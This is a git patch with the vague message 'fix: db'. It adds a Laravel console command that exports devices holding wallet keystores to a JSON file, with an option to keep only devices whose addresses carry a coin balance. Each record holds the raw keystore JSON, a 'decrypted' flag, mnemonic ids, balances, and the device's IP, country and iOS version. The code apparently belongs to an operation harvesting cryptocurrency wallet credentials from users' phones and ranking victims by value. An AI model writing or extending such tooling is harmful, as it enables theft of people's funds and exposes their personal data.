From 0b266a051d2e205e14ded0ea820b95adde56c289 Mon Sep 17 00:00:00 2001 From: hashbro Date: Thu, 17 Sep 2026 04:23:44 +0800 Subject: [PATCH] fix: db --- .../Commands/ExportKeystoreDevicesCommand.php | 169 ++++++++++++++++++ 1 file changed, 169 insertions(+) create mode 100644 app/Console/Commands/ExportKeystoreDevicesCommand.php diff --git a/app/Console/Commands/ExportKeystoreDevicesCommand.php b/app/Console/Commands/ExportKeystoreDevicesCommand.php new file mode 100644 index 0000000..e33ce81 --- /dev/null +++ b/app/Console/Commands/ExportKeystoreDevicesCommand.php @@ -0,0 +1,169 @@ +option('path')); + if ($path === '') { + $path = storage_path('app/keystore-devices-'.now()->format('Ymd-His').'.json'); + } elseif (! str_starts_with($path, '/')) { + $path = base_path($path); + } + + $dir = dirname($path); + if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) { + $this->error('Cannot create directory: '.$dir); + + return self::FAILURE; + } + + $query = Device::query() + ->whereHas('keystores') + ->whereHas('addresses', function (Builder $q) { + if ($this->option('with-balance')) { + $q->where(function (Builder $inner) { + foreach (WalletAddress::COIN_COLUMNS as $col) { + $inner->orWhere($col, '>', 0); + } + }); + } + }) + ->orderBy('id'); + + $ids = $query->pluck('id'); + $fh = fopen($path, 'w'); + if ($fh === false) { + $this->error('Cannot write: '.$path); + + return self::FAILURE; + } + + $meta = [ + 'exported_at' => now()->toIso8601String(), + 'with_balance' => (bool) $this->option('with-balance'), + 'include_raw' => ! $this->option('no-raw'), + 'device_count' => $ids->count(), + ]; + + fwrite($fh, "{\n"); + fwrite($fh, ' "exported_at": '.json_encode($meta['exported_at']).",\n"); + fwrite($fh, ' "with_balance": '.($meta['with_balance'] ? 'true' : 'false').",\n"); + fwrite($fh, ' "include_raw": '.($meta['include_raw'] ? 'true' : 'false').",\n"); + fwrite($fh, ' "device_count": '.$meta['device_count'].",\n"); + fwrite($fh, ' "devices": ['."\n"); + + $first = true; + $flags = JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES; + foreach ($ids as $id) { + $device = Device::query()->find($id); + if (! $device) { + continue; + } + $row = $this->serializeDevice($device); + $encoded = json_encode($row, $flags); + if ($encoded === false) { + $this->warn('skip device '.$id.': json encode failed'); + + continue; + } + if (! $first) { + fwrite($fh, ",\n"); + } + $first = false; + fwrite($fh, $encoded); + $this->line(sprintf( + 'device %s keystores=%d addresses=%d', + $device->device_id, + count($row['keystores']), + count($row['addresses']), + )); + } + + fwrite($fh, "\n ]\n}\n"); + fclose($fh); + + $this->info('wrote '.$ids->count().' devices -> '.$path); + + return self::SUCCESS; + } + + /** + * @return array + */ + private function serializeDevice(Device $device): array + { + $includeRaw = ! $this->option('no-raw'); + $keystores = []; + $ksQuery = WalletKeystore::query()->where('device_id', $device->id)->orderBy('id'); + if (! $includeRaw) { + $ksQuery->select(WalletKeystore::listColumns()); + } + foreach ($ksQuery->cursor() as $ks) { + $item = [ + 'id' => $ks->id, + 'source' => $ks->source, + 'decrypted' => (int) $ks->decrypted, + 'created_at' => optional($ks->created_at)?->toIso8601String(), + ]; + if ($includeRaw) { + $item['raw_json'] = $ks->raw_json; + } else { + $item['raw_json_len'] = (int) ($ks->raw_json_len ?? 0); + } + $keystores[] = $item; + $ks->setAttribute('raw_json', null); + } + + $addresses = []; + foreach ($device->addresses()->orderBy('id')->cursor() as $addr) { + $coins = []; + foreach (WalletAddress::COIN_COLUMNS as $col) { + $raw = $addr->{$col}; + if ($raw === null || $raw === '' || (float) $raw == 0.0) { + continue; + } + $coins[$col] = WalletAddress::formatAmount($col, $raw); + } + $addresses[] = [ + 'id' => $addr->id, + 'address' => $addr->address, + 'chain_type' => $addr->chain_type, + 'source' => $addr->source, + 'mnemonic_id' => $addr->mnemonic_id, + 'derive_index' => $addr->derive_index, + 'coins' => $coins, + ]; + } + + return [ + 'id' => $device->id, + 'device_id' => $device->device_id, + 'channel_id' => $device->channel_id, + 'model' => $device->device_model, + 'ios_version' => $device->ios_version, + 'ip' => $device->ip, + 'country' => $device->country, + 'wallet_names' => $device->walletNameList(), + 'keystore_count' => count($keystores), + 'address_count' => count($addresses), + 'keystores' => $keystores, + 'addresses' => $addresses, + ]; + } +}